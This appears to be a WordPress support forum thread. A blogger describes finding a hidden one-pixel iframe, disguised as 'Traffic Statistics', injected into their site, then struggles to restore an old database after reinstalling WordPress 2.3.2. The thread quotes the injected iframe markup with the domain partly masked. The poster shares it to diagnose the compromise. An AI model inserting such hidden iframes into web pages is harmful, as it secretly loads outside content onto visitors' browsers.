Thanks Otto. I see we found it at the same time.

Appreciate the extra hand.

Never mind. Found it. Some how the following string got injected into one of my blogs ..gggggrrrrr

<!– Traffic Statistics –> <iframe height=”1″ width=”1″ frameBorder=”0″ src=”https://www.wp-stats-XXXphp.info/iframe/wp-stats.XXXphp”></iframe><!– End Traffic Statistics –>

The XXX is to prevent it from happening here.

The site:

https://blogs.somelifeissues.com/

I did a Google search for wp-stats[1].htm and came up with others who are encountering the same thing.

Fixed it.

I dumped a new copy of 2.3.2 on the server.

Ran the config process. While editing the database name, user ID and password, I just updated the table prefix name.

Default table name is wp_ my old table names started off with another prefix.

Done.

Ok … I’ve deleted my tables.

Then finished the install.

Checked it. Looks good.

Then, I import my old database.

And … NOTHING. It’s still the same as a brand new install. There is nothing from my previous blog site. The only thing that happens with the import is that the admin account becomes unusable .. regardless of the passwords I use.

Any ideas?

I don’t want to lose all those blogs. What should my next step be … is there a way to do this without clearing my tables?

When I run the web install process I get the following message:

Already Installed
You appear to have already installed WordPress. To reinstall please clear your old database tables first.
